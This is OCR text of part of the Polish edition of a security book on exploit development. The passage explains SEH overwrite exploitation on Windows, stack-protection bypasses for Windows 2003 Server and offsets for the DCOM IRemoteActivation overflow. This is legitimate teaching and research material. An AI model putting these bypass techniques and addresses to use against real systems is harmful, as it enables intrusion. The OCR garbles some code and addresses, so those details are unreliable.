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Usun luki w zabhezpieczeniach programow i systemow operacyjnych

* Poznaj przyczyny powstawania luk
* Naucz sie sposobow wtaman do systeméw
* Podejmij odpowiednie $rodki zapobiegawcze

Niemal co tydzien dowiadujemy sie 0 nowych ,tatach” usuwajacych luki

w zabezpieczeniach systemdw operacyjnych i programéw. Niestety — czesto, zanim tata
zostanie rozpowszechniona i zainstalowana na komputerach, kto§ wykorzysta ,,dziure”
w systemie i wiamie sie do niego. C6z wiec zrobi¢, aby zabezpieczy¢ swoje dane przez
atakiem hakera? Jak znalez¢ stabe punkty zabezpieczen i usunac je? W jaki sposob
zaimplementowa¢ odpowiednie zabezpieczenia w tworzonym przez siebie
oprogramowaniu?

Ksigzka , The Shellcoder’s handbook. Edycja polska” zawiera odpowiedzi na wszystkie
te pytania. Ksiazka bedaca efektem pracy zespotu ztozonego ze specjalistow w zakresie
bezpieczenistwa systemow komputerowych, analitykéw i hakeréw przedstawia sposoby
wykrywania stabych punktow oprogramowania tworzonego w jezyku C i sprawdzenia
mozliwosci ich wykorzystania. Opisuje luki w istniejacych systemach i programach

oraz sposoby ich zabezpieczenia. Zawarte w niej wiadomosci pozwola na tworzenie
wtasnych systeméw wykrywania bteddw i pomoga ustalic, czy btedy te stanowia
potencjalne zagrozenie.

* Podstawowe metody wtaman do réznych systemow operacyjnych
 Techniki przepetniania stosu, wykorzystywania kodu powtoki
i btedow fancuchdéw formatujacych
 Kontrola stabych punktéw programéw metodami wstrzykiwania kodu i fuzzingu
 Kontrola kodu zrédtowego programdw
e Klasy btedéw
* Sposoby $ledzenia stabych punktow
¢ Analiza kodu binarnego
* Tworzenie eksploitow
e Ataki na systemy zarzadzania bazami danych
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Rozdziat 8.
Przepetnienia

w systemie Windows

Zakltadamy, ze Czytelnik przystepujacy do lektury tego rozdziatu posiada przynajmniej
podstawowa znajomos¢ systemu Windows NT lub jego pdzniejszych wersji, a takze
zna sposoby wykorzystywania przepetnien buforé6w na tej platformie. W rozdziale omo-
wimy bardziej zaawansowane aspekty przepetnien w systemie Windows, na przyktad
zwigzane z obchodzeniem zabezpieczen stosu zastosowanych w systemie Windows
2003 Server czy przepelnieniami sterty. Zrozumienie tych zagadnien wymaga¢ bedzie
znajomosci kluczowych rozwigzan zastosowanych na platformie Windows, takich jak
bloki TEB (Thread Environment Block) i PEB (Process Environment Block), a takze
struktury pamigci procesow, plikow wykonywalnych oraz naglowkow PE. Jesli ktore$
z tych pojec¢ sa obce Czytelnikowi, to przed przystapieniem do lektury tego rozdziatu
powinien uzupehi¢ wiadomosci w tym zakresie.

W rozdziale bedziemy korzysta¢ z narzgdzi wchodzacych w sklad pakietu Visual Studio 6
firmy Microsoft, w szczegdlnosci z programu uruchomieniowego MSDEV, kompilatora
jezyka C wywotywanego z wiersza polecen (cl) oraz programu dumpbin. Program
dumpbin jest doskonatym narzedziem uruchamianym z wiersza poleceni — wyswietla
wszelkie informacje o plikach binarnych, tabelach importu i eksportu, sekcjach pli-
kow oraz kodzie w asemblerze. Czytelnikom, ktérzy wola postugiwac si¢ narzedziem
wyposazonym w graficzny interfejs uzytkownika, proponujemy doskonaly deasembler
firmy Datarescue o nazwie IDA Pro. Tworzac kod eksploitéw na platformie Windows,
mozemy korzysta¢ ze sktadni asemblera zgodnej z przyjeta przez firme Intel badz za-
proponowanej przez AT&T. Wybér zalezy od indywidualnych upodoban i preferencji.

Przepetnienia buforow na stosie

Metoda przepetniania buforow znana jest juz od wielu lat i z pewnoscia bedzie wykorzy-
stywana réwniez w przysztosci. I nadal za kazdym razem, gdy jest wykrywana w nowo-
czesnym oprogramowaniu, nie wiadomo, czy $mia¢ sig, czy plakac. Tak czy owak, bledy
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te stanowig doskonata pozywke dla poczatkujacych hakeréw. W sieci Internet dostep-
nych jest wiele dokumentow szczegdtowo opisujacych sposoby wykorzystywania prze-
pehien buforéw. Omowilismy je rowniez w pierwszych rozdziatach tej ksiazki, dlate-
go teraz nie bedziemy juz powtarzaé tych informacji.

Typowy eksploit bazujacy na przepetnieniu stosu doprowadza do nadpisania adresu po-
wrotu zapisanego na stosie adresem, ktory wskazuje rozkaz lub blok kodu przekazujacy
sterowanie do kodu umieszczonego w buforze uzytkownika. Zanim zajmiemy si¢ po-
glebieniem tego zagadnienia, krétko oméwimy procedury obstugi wyjatkow bazujacych
na ramkach stosu. Nastgpnie przyjrzymy si¢ sposobom nadpisywania struktur rejestracji
wyjatkow na stosie i pokazemy, w jaki sposob technika taka moze prowadzi¢ do obej-
$cia zabezpieczen stosu wbudowanych w system Windows 2003 Server.

Procedury obstugi wyjatkow
dla ramek wywotan funkciji

Rysunek 8.1.

Procedury obstugi
wyjatkow dla ramek

wywotan funkcji

Procedura obstugi wyjqtkéw jest fragmentem kodu, ktéry zostaje wywotlany na
skutek pojawienia si¢ problemu podczas wykonania procesu, na przyklad naruszenia
uprawnien dostepu badz wykonania dzielenia przez zero. Procedury obstugi wyjatkow
moga by¢ powigzane z konkretnymi funkcjami. Wywotanie kazdej funkcji prowadzi
do utworzenia na stosie odpowiadajacej jej ramki wywolania. Informacja o procedurze
obstugi wyjatkoéw moze zosta¢ umieszczona w ramce wywotania w strukturze EXCEPTION
REGISTRATION. Struktura taka sktada si¢ z dwoch elementéw: wskaznika nastepne;j
struktury EXCEPTION REGISTRATION oraz wskaznika wilasciwej procedury obstugi wy-
jatkow. W ten sposéb procedury obstugi wyjatkdéw moga tworzy¢ liste przedstawiong
na rysunku 8.1.

Wskaznik nastepnej struktury E_ R —

Wskaznik procedury obstugi wyjatkow

“en

Wskaznik nastepnej struktury E. R |

Wskaznik procedury obstugi wyjatkow

Wskaznik nastepnej struktury E_R  [*—

Wskaznik procedury obstugi wyjgtkéw
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Kazdy watek procesu Win32 posiada przynajmniej jedna procedure obstugi wyjatkdw.
Procedura ta tworzona jest podczas uruchamiania watku. Adres pierwszej struktury
EXCEPTION REGISTRATION znajduje si¢ w kazdym bloku TEB pod adresem fs:[0]. W mo-
mencie wystapienia wyjatkow lista procedur obstugi przegladana jest do momentu zna-
lezienia wlasciwej procedury obstugi wyjatku (czyli takiej, ktora zajmie si¢ obstuga
wyjatku). Obstuga wyjatkow w oparciu o ramki na stosie odbywa si¢ na poziomie je-
zyka C za pomoca stow kluczowych try i except. Przypominamy, ze wigkszo$¢ kodow
przedstawionych w tej ksiazce dostepna jest pod adresem fip.//fip. helion.pl/przyklady/
hell.zip

#include <stdio.h>
#include <windows.h>

dword MyExceptionHandler(void)

printf("In exception handler....");
ExitProcess(1)
return 0;
}
int main()
{
try
{
_asm
// powoduje wyjatek
XOr eax,eax
call eax
}
}
__except(MyExceptionHandler())
printf("oops...");
return 0;
}

Jesli w bloku umieszczonym wewnatrz try wystapi wyjatek, to wywolana zostanie
funkcja MyExceptionHandler. W przyktadzie tym celowo wywotujemy wyjatek, zeru-
jac zawartosc rejestru EAX, a nastgpnie wykonujac rozkaz call eax.

Podczas przepetniania bufora na stosie i nadpisywania adresu powrotu moga rowniez
ulec nadpisaniu inne zmienne, co moze by¢ przyczyna komplikacji podczas wiama-
nia. Zatozmy na przyklad, ze funkcja odwoluje si¢ do pewnej struktury za pomoca
rejestru EAX, ktory wskazuje poczatek tej struktury. Niech zmienna lokalna tej funkcji
reprezentuje przesunigcie wewnatrz wspomnianej struktury. Jesli zmienna ta zostanie
nadpisana przy okazji nadpisywania adresu powrotu, a nastgpnie zatadowana do reje-
stru EST i wykonany bedzie na przyktad rozkaz

mov dword ptrleax+esi], edx

to musimy zapewnic, ze warto$¢, ktora nadpisalismy ta zmienng, w polaczeniu z za-
warto$cia rejestru EAX reprezentuje adres, pod ktérym dozwolony jest zapis danych.
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W przeciwnym bowiem razie nastapi naruszenie ochrony pamigci, wywolane zostang
odpowiednie procedury obshugi wyjatkéw, a dziatanie procesu zostanie najprawdopo-
dobniej zakonczone i stracimy szans¢ wykonania naszego kodu. Nawet jesli skory-
gujemy odpowiednio adres reprezentowany przez EAX + ESI, to musimy liczy¢ si¢ z wy-
stapieniem wielu innych podobnych probleméw, ktérym nalezy zaradzi¢, zanim
funkcja zwroci sterowanie. W niektorych przypadkach moze to nawet by¢ niemozliwe.
Najprostsza metoda rozwiazania tego problemu polega na nadpisaniu struktury
EXCEPTION _REGISTRATION w taki sposob, aby zapewni¢ sobie kontrole nad wskazni-
kiem procedury obstugi wyjatku. Dzigki temu w momencie wystapienia wyjatku mo-
zemy przejac kontrolg nad procesem — na przyktad przez zastapienie wskaznika proce-
dury obstugi wyjatkéw adresem kodu, ktéry przekaze sterowanie z powrotem do
naszego bufora.

Zastandwmy si¢ teraz, w jaki sposob nadpisa¢ wskaznik procedury obstugi wyjatku,
abysmy mogli wykona¢ dowolny kod umieszczony w buforze. Rozwiazanie zalezy od
konkretnej wersji systemu i zainstalowanych pakietow serwisowych. W systemach
Windows 2000 i Windows XP bez zainstalowanych pakietow serwisowych rejestr EBX
wskazuje biezaca strukturg¢ EXCEPTION REGISTRATION, czyli wlasnie ta, ktéra nadpi-
sujemy. Mozemy wtedy nadpisa¢ wskaznik procedury obstugi wyjatkow za pomoca
adresu, pod ktérym znajduje sie rozkaz jmp ebx lub call ebx. W ten sposob na skutek
wystapienia wyjatkow powrécimy zawsze do nadpisanej struktury EXCEPTION REGI-
STRATION. Wtedy nadpiszemy wskaznik nastepnej struktury EXCEPTION REGISTRATION
adresem kodu, ktory wykona krotki skok ponad adresem rozkazu jmp ebx. Sposob
nadpisania struktury EXCEPTION REGISTRATION ilustruje rysunek 8.2.

Rysunek 8.2.

Nadpisywanie

struktury

EXCEPTION _
REGISTRATION

Rejestr EBX wskazuje tutaj

Rozkaz krotkiego skoku
(oraz NOP, NOP)

Wskaznik adresu, pod ktérym
znajduje sie rozkaz jmp ebx

Poczatek wiasciwego kodu

W systemach Windows 2003 Server oraz Windows XP Service Pack 1 sytuacja wy-
glada jednak inaczej. Rejestr EBX nie wskazuje juz struktury EXCEPTION _REGISTRATION.
Wszystkie rejestry, ktore dotad wskazywaly przydatne informacje, teraz zostaja wyze-
rowane przed wywolaniem procedury obstugi wyjatkow. Zmiany tej firma Microsoft
dokonata prawdopodobnie w odpowiedzi na sposob dziatania robaka Code Worm, ktory
uzywat tego mechanizmu do przejgcia kontroli nad serwerami IIS. Ponizej przedsta-
wiamy kod odpowiedzialny za wspomniana modyfikacj¢ (dla systemu Windows XP
Professional SP1).
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77F79B57 xor eax,eax

77F79B59 xor ebx,ebx

77F79B5B xor esi,esi

77F79B5D xor edi,edi

77F79B5F push dword ptr [esp+20h]
77F79B63 push dword ptr [esp+20h]
77F79B67 push dword ptr [esp+20h]
77F79B6B push dword ptr [esp+20h]
77F79B6F push dword ptr [esp+20h]
77F79B73 call 77F79B7E

77F79B78 pop edi

77F79B79 pop esi

77F79B7A pop ebx

77F79B7B ret 14h

77F79B7E push ebp

77F79B7F mov ebp,esp

77F79B81 push dword ptr [ebp+0Ch]
77F79B84 push edx

77F79B85 push dword ptr fs:[0]
77F79B8C mov dword ptr fs:[0],esp
77F79B93 push dword ptr [ebp+14h]
77F79B96 push dword ptr [ebp+10h]
77F79B99 push dword ptr [ebp+0Ch]
77F79B9C push dword ptr [ebp+8]
77F79B9F mov ecx,dword ptr [ebp+18h]
77F79BA2 call ecx

Poczawszy od adresu 0x77F79B57, rejestry EAX, EBX, ESI i EDI sa kolejno zerowane za
pomoca rozkazu XOR. Nastepnie pod adresem 0x77F79B73 wykonywany jest rozkaz call,
ktéry powoduje przejscie do adresu 0x77F79B7E. Rozkaz znajdujacy si¢ pod adresem
0x77F79B9F umieszcza w rejestrze ECX wskaznik procedury obshugi wyjatku, ktora
wywoluje nastepny rozkaz.

Nawet mimo tej modyfikacji haker moze przeja¢ kontrolg nad dziataniem systemu. Jed-
nak nie dysponujac warto$ciami rejestrow, ktére wskazywalyby wazne dane procesu
uzytkownika, musi odnalez¢ je na wlasna reke. A to zmniejsza szanse powodzenia ataku.

Ale czy rzeczywiscie? Zaraz po wywotaniu procedury obstugi wyjatku zawartos¢ stosu
bedzie wygladac nastgpujaco:
ESP = adres powrotu (0x77F79BA4)

ESP + 4 wskaznik typu wyjatku (0xC0000005)
ESP + 8 adres struktury EXCEPTION REGISTRATION

Zamiast nadpisywac¢ wskaznik procedury obshugi wyjatkéw adresem rozkazu jmp ebx
lub call ebx, wystarczy nadpisa¢ go adresem kodu zawierajacego nastgpujace rozkazy:

pop reg
pop reg
ret

Wykonanie kazdego rozkazu POP zwigksza warto$¢ rejestru ESP o 4, wobec czego w mo-
mencie wykonania rozkazu RET rejestr ESP wskazuje dane procesu uzytkownika. Przypo-
mnijmy, Ze rozkaz RET pobiera adres znajdujacy si¢ na wierzchotku stosu (wskazywany
przez ESP) i powoduje przekazanie sterowania na ten adres. Dzigki temu haker nie
potrzebuje juz rejestru wskazujacego bufor ani nie musi domyslac si¢ jego potozenia.
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Gdzie znajdziemy blok potrzebnych do tego rozkazow? Praktycznie na koncu kodu
kazdej funkcji. Paradoksalnie najlepszym miejscem okazuje si¢ blok rozkazow w kodzie,
ktoéry zeruje rejestry przed wywotaniem procedury obstugi wyjatku. Blok ten znajduje
si¢ pod adresem 0x77F798B79.

77F79B79 pop esi
77F79B7A pop ebx
77F79B7B ret 14h

To, ze zamiast rozkazu ret znajduje si¢ tam rozkaz ret 14, nie ma wiekszego znaczenia.
Zwigkszy on zawarto$¢ rejestru ESP o 0x14 zamiast o 0x4. Wykonanie tych rozkazow
przeniesie nas z powrotem do struktury EXCEPTION_REGISTRATION na stosie. Konieczne
bedzie tez zastapienie wskaznika nastepnej struktury EXCEPTION REGISTRATION kodem
rozkazu krotkiego skoku oraz dwdch rozkazéw NOP, co pozwoli nam oming¢ adres wska-
zujacy blok rozkazéw pop, pop i ret.

Kazdy proces Win32 i kazdy watek takiego procesu posiada przynajmniej jedng pro-
cedure obshugi wyjatkow bazujaca na ramce na stosie. Procedure te otrzymuje w mo-
mencie jego uruchamiania. Jesli stosujemy metode przepetnien buforéw na platformie
Windows 2003 Server, to wykorzystanie takich procedur obstugi wyjatkéw umozliwi
nam obejscie zabezpieczen stosu zastosowanych na tej platformie.

Wykorzystanie procedur obstugi wyjatkow
na platformie Windows 2003 Server

Wykorzystanie procedur obstugi wyjatkow umozliwia obejscie zabezpieczen stosu
zastosowanych na platformie Windows 2003 Server. (Oméwienie tego zagadnienia
zawiera punkt ,,Ochrona stosu i Windows 2003 Server”). W momencie wystapienia wy-
jatku na platformie Windows 2003 Server sprawdzana jest poprawnos¢ pierwszej pro-
cedury obstugi skonfigurowanej dla tego wyjatku. W ten sposéb Microsoft chce za-
bezpieczy¢ si¢ przed atakami na zasadzie przepelnienia stosu, ktére powodujq
nadpisanie adresu procedury obstugi wyjatkow.

W jaki sposob sprawdzana jest poprawnos¢ procedury obstugi wyjatkdw? Za kontrolg te
odpowiedzialny jest kod funkcji KiUserExceptionDispatcher znajdujacej si¢ w bi-
bliotece NTDLL.DLL. Najpierw sprawdza ona, czy wskaznik procedury obshugi wyjatku nie
wskazuje adresu na stosie. W tym celu uzywane sa warto$ci w bloku TEB okreslajace
zakres adresdw stosu i znajdujace si¢ pod adresami FS:[47] i FS:[8]. Jesli adres proce-
dury obstugi wyjatku wypada w tym zakresie, to nie zostanie ona wywotana. Jesli adres
procedury obstugi wyjatku nie jest adresem stosu, to nastepnie adres ten pordéwnywany
jest z lista zatadowanych modutow (zaréwno wykonywalnych, jak i DLL). Co ciekawe,
jesli adres procedury obstugi wyjatkéw nie przypada w przestrzeni adresowej zadnego
z tych moduléw, to uwazany jest za bezpieczny i procedura zostaje wywotana. W prze-
ciwnym razie adres procedury obstugi wyjatkdw poréwnywany jest jeszcze z lista za-
rejestrowanych procedur obshugi wyjatkow.

Nastgpnie pobierany jest wskaznik nagltéwka PE za pomoca wywolania funkcji Rt-
1ImageNtHeader. Jesli bajt przesunigty 0x5F wzgledem poczatku naglowka (jest to naj-
starszy bajt pola charakterystyki DLL w nagtéwku PE) jest rowny 0x04, to modut ten
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jest niedozwolony. Jesli adres procedury obstugi wyjatku nalezy do zakresu adresow
tego modulu, to procedura nie zostanie wywotana. Wskaznik nagtéwka PE zostaje
przekazany jako parametr funkcji Rt1ImageDirectoryEntryToData. W tym przypadku
wywolanie tej funkcji dotyczy katalogu Load Configuration Directory i zwraca adres
oraz rozmiar tego katalogu. Jesli modul nie dysponuje tym katalogiem, to funkcja
zwraca warto$¢ 0 i na tym konczy si¢ kontrola poprawnosci procedury obstugi wyjatkdw,
ktéra zostaje wywotana. Jesli modut posiada taki katalog, to sprawdzany jest jego
rozmiar. Gdy nalezy on do zakresu od 0 do 0x48, to procedura obshugi wyjatku zostaje
wywotana. W odleglosci 0x40 bajtéw od poczatku katalogu znajduje si¢ wskaznik tabeli
adresow RV A (Relative Virtual Address) zarejestrowanych procedur obstugi wyjatkow.
Jesli wskaznik ten jest rowny NULL, to procedura obsthugi wyjatku zostaje wywotana.
Przesunieta o 0x44 bajtéw wzgledem poczatku katalogu jest liczba elementéw tabeli
adreséw RV A. Jesli rowna si¢ ona 0, to procedura obstugi wyjatku zostaje wywotana.
Jesli wszystkie dotychczasowe kontrole powiodly sie, adres bazowy modulu zostaje
odjety od adresu procedury obstugi wyjatkéw i w wyniku tej operacji otrzymujemy
adres RVA tej procedury. Adres RV A jest nastgpnie porownywany z adresami RVA
w tabeli zarejestrowanych procedur obstugi wyjatkow. Jesli zostanie tam odnaleziony,
to procedura zostanie wywotana. W przeciwnym razie procedura zostanie odrzucona.

Stosujac przepetienia buforéw na stosie w systemie Windows 2003 Server i nadpi-
sujac wskaznik procedury obstugi wyjatkéw, mamy do wyboru nastepujace mozliwosci:

1. Wykorzystacé istniejaca procedure obstugi wyjatku w taki sposdb, by
przekazala sterowanie do naszego bufora.

2. Znalez¢ blok kodu spoza zakresu adresow danego modutu, ktory przekaze
sterowanie do naszego bufora.

3. Znalez¢ blok kodu nalezacy do zakresu adresow danego modutu, ktdry nie
posiada katalogu Load Configuration Directory.

Przyjrzymy si¢ im na przyktadzie wykorzystania przepetnienia bufora przez funkcje
DCOM o nazwie IRemoteActivation.

Wykorzystanie istniejgcej procedury obstugi wyjatkow

Adres 0x77F45A34 wskazuje zarejestrowana procedure obstugi wyjatkéw w NTDLL .DLL.
Jesli przeanalizujemy dziatanie tej procedury, to dojdziemy do wniosku, ze mozna ja
wykorzysta¢ do wykonania wlasnego kodu. Wskaznik naszej struktury EXCEPTION
REGISTRATION znajduje si¢ pod adresem EBP+0Ch.

77FABA3F mov ebx,dword ptr [ebp+0Ch]

77F45861 mov esi,dword ptr [ebx+0Ch]
77FA5A61 mov edi,dword ptr [ebx+8]

77F45A75 lea ecx,[esitesi*2]
77F45A78 mov eax,dword ptr [edi+ecx*4+4]

77F45ABF call eax

Wskaznik naszej struktury EXCEPTION_REGISTRATION zostal umieszczony w rejestrze EBX.
Nastgpnie wartos¢ typu dword znajdujaca si¢ 0x0C bajtdw za adresem umieszczonym
w rejestrze EBX zostaje zatadowana do rejestru ESI. Poniewaz wczesniej przepehilismy
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struktur¢ EXCEPTION_REGISTRATION, to posiadamy kontrole nad ta wartoscia, a w konse-
kwencji nad zawartoscia rejestru ESI. W podobny sposob kontrolowana przez nas warto$¢
typu dword o przesunieciu 0x08 wzgledem adresu znajdujacego si¢ w rejestrze EBX
zostaje umieszczona w rejestrze EDI. Nastepnie do rejestru ECX zostaje zaladowany
adres efektywny EST + ESI * 2 (czyli ESI * 3). Poniewaz kontrolujemy zawarto$¢ reje-
stru ESI, to rowniez mozemy zagwarantowac¢ odpowiednia wartos¢ tego adresu. Kolejny
rozkaz umieszcza w rejestrze EAX warto$¢ dword znajdujaca si¢ pod adresem stanowiacym
sume zawartosci kontrolowanego przez nas rejestru EDI oraz ECX * 4 + 4. Nastgpnie
wywotlana zostaje procedura znajdujaca si¢ pod adresem umieszczonym w rejestrze EAX.

Podczas pierwszego wlamania do modutu svchost potozenie bloku TEB oraz potozenie
stosu sg tatwe do okreslenia. Sytuacja moze si¢ zmieni¢ w przypadku mocno obcigzo-
nego serwera. Zakladajac, ze jest stabilna, mozemy odnalez¢ wskaznik naszej struktury
EXCEPTION REGISTRATION pod adresem TEB+0 (0x7FFDB000) i uzy¢ go jako wskaznika
naszego kodu. Jednak tuz przed wywotaniem procedury obshugi wyjatkow wskaznik
ten zostanie zaktualizowany, wobec czego nie mozemy zastosowac takiej metody.
Struktura EXCEPTION REGISTRATION wskazywana przez TEB+0 posiada pod adresem
0x005CF3F0 wskaznik do naszej struktury EXCEPTION REGISTRATION, a poniewaz potozenie
stosu jest zawsze znane podczas pierwszego ataku, mozemy wykorzysta¢ ten
wskaznik. Inny wskaznik naszej struktury EXCEPTION_REGISTRATION znajduje si¢ rowniez
pod adresem 0x005CF3E4. Jesli chcemy uzy¢ tego adresu, musimy zapisa¢ wartos¢
0x40001554 (ktdéra zostanie nastgpnie zatadowana do rejestru EST) 0x0C bajtow za nasza
strukturg EXCEPTION_REGISTRATION oraz warto$¢ 0x005BF3F0 0x08 bajtow za ta struktura
(warto$¢ ta zostanie nastepnie zatadowana do rejestru EDI). Po odpowiednim wymnoze-
niu i dodaniu otrzymamy wtasnie adres 0x005CF3E4. Do rejestru EAX zostanie nastgpnie
zatadowany wskaznik znajdujacy si¢ pod tym adresem i wywotana odpowiednia proce-
dura. Wywotanie to spowoduje, ze trafimy do naszej struktury EXCEPTION _REGISTRATION
w miejscu, w ktorym znajduje si¢ wskaznik nastegpnej takiej struktury. Jesli umiesci-
my tam kod, ktéry wykona skok o 14 bajtow, to przeskoczymy kod, ktéry byt nam
wczesniej potrzebny, by sterowanie dotarto w obecne miejsce.

Rozwiazanie to przetestowaliSmy na czterech maszynach dziatajacych pod kontrola
systemu Windows 2003 Server, z ktorych trzy dziataly z wersja Enterprise Edition,
a czwarta ze Standard Edition. Wszystkie proby zakonczyly si¢ sukcesem. Musimy jed-
nak zawsze mie¢ pewno$¢, ze wlamanie ta metoda przeprowadzane jest po raz pierw-
szy. W przeciwnym razie jest wielce prawdopodobne, ze zakonczy si¢ ono niepowo-
dzeniem. Na marginesie warto rowniez zauwazy¢, ze opisana mozliwo$¢ wykorzystania
procedury obstugi wyjatkéw wynika prawdopodobnie z tego, ze jest ona przewidziana
do wspolpracy z wektoryzowanym mechanizmem obstugi wyjatkow, a nie uzywajacym
ramek na stosie.

Do wlaman mozemy wykorzysta¢ rowniez inne moduly, ktére uzywaja tej samej proce-
dury obshugi wyjatkéw. Inne procedury obshugi wyjatkéw zarejestrowane w tej samej
przestrzeni adresowej zwykle przekazuja obstuge do funkcji __except handler3 eks-
portowanej przez biblioteke msvcrt.d11 lub jej odpowiednik.
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Wykorzystanie bloku kodu o adresie,
ktory nie nalezy do zadnego modutu

Podobnie jak w innych wersjach systemu Windows pod adresem ESP + 8 mozemy
odnalez¢ wskaznik do naszej struktury EXCEPTION REGISTRATION. Jesli potrafimy od-
nalez¢ blok rozkazow

pop reg
pop reg
ret

pod adresem, ktory nie jest zwiazany z zadnym z zatadowanych modutéw, to mozemy
przejac sterowanie. Kazdy proces dzialajacy w systemie Windows 2003 Server zawiera
pod adresem 0x7FFCOAC5 taki blok rozkazéw. Poniewaz adres ten nie jest zwigzany
z zadnym modulem, zostanie uznany za bezpieczny, a znajdujacy si¢ pod nim kod wyko-
nany jako procedura obstugi wyjatkéw. Istnieje jednak pewien problem. Na innej ma-
szynie dzialajacej pod kontrola systemu Windows 2003 Server Standard Edition ten
sam blok rozkazéw znajduje si¢ w poblizu podanego adresu, ale nie jest to ten sam
adres. Skoro nie mozemy zagwarantowac potozenia bloku rozkazéw pop, pop, ret, to
nie jest to wlasciwe rozwiazanie. Zamiast tego bloku mozemy poszukac rozkazu:

call dword ptrlesp+8]
albo:
Jjmp dword ptrlesp+8]

w przestrzeni adresowej atakowanego procesu. Chociaz zaden z tych rozkazow nie ist-
nieje pod odpowiednim adresem, to jednak wiele wskaznikow naszej struktury EXCEP-
TION_REGISTRATION znajduje si¢ w otoczeniu wskazywanym przez rejestry ESP i EBP.
Wskaznik naszej struktury mozemy znalez¢ pod jednym z nastgpujacych adresdow:

esp+8

esp+l4
esp+1C
esp+2C
esp+44
esp+50

ebp+0C
ebp+24
ebp+30
ebp-4
ebp-C
ebp-18

Kazdego z nich mozemy uzy¢ dla rozkazu jmp lub call. Jesli sprawdzimy przestrzen
adresowg svchost, to pod adresem 0x001B0B0B znajdziemy rozkaz:

call dword ptrlebp+0x30]

Pod adresem EBP + 30 znajduje si¢ wskaznik naszej struktury EXCEPTION REGISTRATION.
Adres ten nie jest zwiazany z zadnym modutem, i co wigcej, wydaje sie, ze prawie
kazdy proces dziatajacy w systemie Windows 2003 Server (jak rowniez wiele pro-
cesow w systemie Windows XP) ma te same bajty wlasnie pod tym adresem. Proce-
sy, ktdre sa wyjatkiem od tej reguly, posiadaja natomiast te bajty pod adresem 0x001C0BOB.
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Jesli nadpiszemy wskaznik procedury obstugi wyjatkéw adresem 0x001B0OBOB, to po-
wrécimy do naszego bufora i uzyskamy mozliwo$¢ wykonania dowolnego kodu. Adres
0x001B0OBOB sprawdzilismy na wszystkich czterech maszynach z systemem Windows
2003 Server i we wszystkich przypadkach zawierat on wlasciwe bajty reprezentujace
rozkaz call dword ptr[ebp+0x30]. Wydaje si¢ wigc, ze opisana metoda powinna by¢
stosunkowo niezawodna na platformie Windows 2003 Server.

Wykorzystanie bloku kodu nalezgcego do modutu,
ktory nie posiada katalogu Load Configuration Directory

Plik wykonywalny svchost.exe nie posiada katalogu Load Configuration Directory.
Kod z przestrzeni adresowej tego procesu zostatby zaakceptowany jako procedura ob-
stugi wyjatku, gdyby nie wyjatek wskaznika NULL wystepujacy podczas wykonania funkcji
KiUserExceptionDispatcher(). Funkcja Rt1ImageNtHeader zwraca bowiem warto$¢ 0 ja-
ko wskaznik nagtéwka PE dla svchost. Funkcja KiUserExceptionDispatcher() nie
sprawdza, czy wykorzystywany przez nia wskaznik jest rozny od NULL.

call Rt1ImageNtHeader
test byte ptrleax+5Fh],4
jnz 0x77F68A27

Na skutek wystapienia wyjatku dzialanie procesu zostaje zakonczone. Dlatego tez nie
uda nam si¢ wykorzysta¢ zadnego kodu nalezacego do svchost.dl11. Plik compres.dl1
rowniez nie posiada katalogu Load Configuration Directory. Jednak poniewaz pole
charakterystyki DLL znajdujace si¢ w nagtéwku PE ma wartos¢ 0x0400, to test wyko-
nywany po wywolaniu funkcji Rt1ImageNtHeader zakonczy si¢ niepowodzeniem i ste-
rowanie zostanie przekazane pod adres 0x77F68A27 z dala od naszego kodu. Jesli
przejrzymy wszystkie moduly zatadowane w przestrzeni adresowej procesu, to okaze
si¢, ze zaden z nich nie spetnia naszych wymagan. Wigkszos¢ posiada katalog Load
Configuration Directory i zarejestrowane procedury obshigi wyjatkéw. Natomiast po-
zostate moduty, ktdre nie maja tego katalogu, nie s3 odpowiednie z tego samego po-
wodu co compress.d11. W tym przypadku metoda ta nie jest wigc przydatna.

Poniewaz w wigkszosci przypadkéw mozemy spowodowac wyjatek, probujac wyko-
na¢ operacje zapisu za koncem stosu, to przepehiajac bufor, mozemy uzy¢ takiego
sposobu jako ogoélnej metody obejscia ochrony stosu w systemie Windows 2003 Se-
rver. Nalezy jednak pamigta¢, ze metoda ta jest skuteczna w chwili obecnej. Nie ma
watpliwosci, ze kolejne wersje systemu lub nawet pakiety serwisowe usung ten staby
punkt i sprawia, ze metoda przestanie by¢ skuteczna. Wtedy pozostanie nam odkurzy¢
program uruchomieniowy i asembler i zabra¢ si¢ za projektowanie nowej metody.
Firmie Microsoft mozemy natomiast poleci¢ wykonywanie wylacznie zarejestrowa-
nych procedur obstugi wyjatkéw i dolozenie staran, by nie mogly one zosta¢ uzyte
przez hakeréw w taki sposob, jaki przedstawiliSmy w tym podrozdziale.

Koncowe uwagi
na temat nadpisan procedur obstugi wyjatkow

Gdy staby punkt wystepuje w wielu systemach operacyjnych — tak jak ma to miejsce
w przypadku przepetienia bufora DCOM IRemoteActivation odkrytego przez polska
grupe badawcza The Last Stage of Delirium — to najlepszym sposobem poprawy
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przenosnosci eksploitu jest zaatakowanie procedur obstugi wyjatkow. Przesunigcie
poczatku bufora wzgledem potozenia struktury EXCEPTION REGISTRATION moze bowiem
by¢ rozne dla poszczegdlnych systemow. I tak w przypadku wspomnianego stabego
punktu DCOM struktura ta znajduje si¢ 1412 bajtéw od poczatku bufora w systemie
Windows 2003 Server, 1472 bajty w systemie Windows XP i 1540 bajtéw w systemie
Windows 2000. Mimo tych réznic mozliwe jest napisanie pojedynczego eksploitu dla
wszystkich tych systemow. Wystarczy jedynie umie$ci¢c w odpowiednich miejscach
pseudoprocedury obstugi wyjatkow.

Ochrona stosu i Windows 2003 Server

System Windows 2003 Server posiada wbudowang ochrong stosu. Zastosowanie tego
samego mechanizmu umozliwia Microsoft Visual C++ NET. Opcja kompilatora /GS
(ktora jest domyslnie wiaczona) sprawia, ze podczas generowania kodu na stosie
umieszczane s znaczniki bezpieczenstwa, ktdrych zadaniem jest ochrona adresu powrotu
przed nadpisaniem. Znaczniki te stanowia odpowiednik rozwigzania zastosowanego
przez Crispina Cowana w kompilatorze StackGuard. Po wywotaniu procedury na sto-
sie umieszczane sg 4 bajty (dword), ktdre sa sprawdzane, zanim procedura zwroci
sterowanie. W ten sposob chroniony jest adres powrotu oraz zawarto$¢ rejestru EBP za-
pisana na stosie. Logika dzialania tego mechanizmu jest prosta: jesli lokalny bufor zostat
przepehiony i spowodowal nadpisanie adresu powrotu, to po drodze musiat réwniez nad-
pisa¢ znacznik bezpieczenstwa. W ten sposob proces moze rozpoznaé sytuacje,
w ktorej nastapito przepetnienie bufora i podja¢ dziatania zapobiegajace wykonaniu
